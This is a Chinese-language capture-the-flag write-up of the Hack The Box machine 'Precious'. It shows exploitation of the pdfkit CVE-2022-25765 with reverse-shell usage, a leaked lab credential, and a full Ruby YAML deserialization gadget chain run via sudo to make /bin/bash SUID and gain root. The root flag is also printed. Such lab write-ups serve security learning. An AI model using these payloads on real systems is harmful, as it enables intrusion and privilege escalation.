当前位置: 首页 > news >正文

HTB precious

image-20250919144105621

22和80端口开放,疑似可以打ssrf,尝试伪协议无用

无特殊路径

ffuf -u http://precious.htb/ -H "Host: FUZZ.precious.htb" -w /home/gw/桌面/test/fuzzDicts-master/subdomainDicts/main.txt -fc 302

无子域名

nmap -sCV -p 80 precious.htb

用nmap的服务识别探测一下80端口

image-20250919153802169

想办法整一个pdf出来,然后看看用Ruby的哪个库解析

这里靶机不通外网,就只能用连接的机子整一个东西让它转换,先在本地起一个服务

学到个新东西,可以用exiftool看是哪个库解析生成的pdf

image-20250919155506851

发现是pdfkit v0.8.6,存在cve-2022-25765

https://github.com/UNICORDev/exploit-CVE-2022-25765?tab=readme-ov-filepython3 exploit-CVE-2022–25765.py -c <command>python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]python3 exploit-CVE-2022–25765.py -h选项	说明
-c	自定义命令模式。提供一个命令,用于生成自定义负载(payload)。
-s	反向 Shell 模式。提供本地主机 IP 和端口,用于生成反向 Shell 负载。
-w	运行存在 pdfkit 漏洞的网站 URL(可选)。
-p	运行存在 pdfkit 漏洞的网站中使用的 POST 参数名称(可选)。
-h	显示此帮助菜单。python exploit.py -s 10.10.16.43 6666 -w http://precious.htb -p url

可以直接打通,进来之后发现两个用户,ruby下没东西,henry下有一个user.txt,第一个flag就要打提权吗

传脚本进来,发现这两个可能能用于提权

CVE-2021-3490

CVE-2022-0847 失败

wget http://10.10.16.43:8000/1.zip -O /tmp/1.zip

回去看看htb提示

ls -la

该命令可以查看隐藏目录,难怪/home/ruby进来之后什么都没看见

image-20250919170104615

henry:Q3c1AqGHtoI0aXAYFH

image-20250919171006230

进来之后发现hency这个用户有一些特殊的东西,应该要在这上面做文章,可惜后面的文件不能直接改

喂给ai看看,发现

cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'# TODO: update versions automatically
def update_gems()
enddef list_from_fileYAML.load(File.read("dependencies.yml"))
enddef list_local_gemsGem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
endgems_file = list_from_file
gems_local = list_local_gemsgems_file.each do |file_name, file_version|gems_local.each do |local_name, local_version|if(file_name == local_name)if(file_version != local_version)puts "Installed version differs from the one specified in file: " + local_nameelseputs "Installed version is equals to the one specified in file: " + local_nameendendend
end

其中的yaml.load函数大概率存在yaml反序列化

image-20250919173204999

一路拷打ai,最终拿到root权限

echo '---
!ruby/object:Gem::Installeri: 0
!ruby/object:Gem::SpecFetcheri: 0
!ruby/object:Gem::Requirementrequirements: !ruby/object:Gem::Package::TarReaderio: !ruby/object:Net::BufferedIOio: !ruby/object:Gem::Package::TarReader::Entryread: 0header: "exploit"debug_output: !ruby/object:Net::WriteAdaptersocket: !ruby/object:Gem::RequestSetsets: !ruby/object:Net::WriteAdaptersocket: !ruby/module '\''Kernel'\''method_id: :systemgit_set: "chmod u+s /bin/bash"method_id: :resolve' > /tmp/dependencies.yml
sudo /usr/bin/ruby /opt/update_dependencies.rb
/opt/update_dependencies.rb:20:in `<main>': undefined method `each' for #<Gem::Installer:0x000055ffa8287370 @i=0> (NoMethodError)
/bin/bash -p
whoami
root
cd /root
ls .
root.txt
cat root.txt
da3430013eb1ae2e38403e5ba9ed1fe0
http://www.dtcms.com/a/390526.html

相关文章:

  • 【前后端与数据库交互】从零构建 Python + Vue + MongoDB 网站
  • 对比django,flask,opencv三大
  • 【6/20】MongoDB 入门:连接数据库,实现数据存储与查询
  • 【笔记】Docker使用
  • k8s自定义CNI插件实现指南
  • 使用Docker部署Kubernetes(K8s)详解
  • 【Docker】网络
  • 磁共振成像原理(理论)8:射频回波 (RF Echoes)-三脉冲回波(1)
  • 华为云 ELB:智慧负载均衡,让您的应用永葆流畅体验
  • 【实时Linux实战系列】PM QoS 与 C/P-State 管理:功耗与时延的平衡
  • github修改repo名称
  • 使用 C# 操作 Excel 工作表:添加、删除、复制、移动、重命名
  • Python 高效实现 Excel 转 PDF: 不依赖Office
  • Ubuntu25.04通过Docker编译Sunshine记录
  • WebRTC 如何实现的低延迟和高带宽利用率
  • Python接口自动化浅析unittest单元测试原理
  • 【附源码】基于SpringBoot的新能源汽车销售管理系统的设计与实现
  • 虚拟机Ubuntu挂载共享文件夹
  • JS实现房贷计算器和购物车页面
  • 【开题答辩全过程】以 Android安全网购平台为例,包含答辩的问题和答案
  • 期权市场反常信号是什么?
  • 【SpringBoot】26 核心功能 - Web开发原理 - Spring Boot 中定制 Servlet 容器
  • java spring boot 搭建项目
  • 【一文了解】闭包
  • 深入解析Mysql数据库并发:从读写机制到多版本控制
  • Python自学20 - Python操作PDF文件
  • Windows 本地 UV 环境部署 Index-TTS2 实战:基于 EPGF 架构的完整指南(支持 DeepSpeed + FP16)
  • 【cpp Trip第4站】函数参数传递
  • 【Spotfire】实现错行效果
  • 【Day 61】Linux-haproxy负载均衡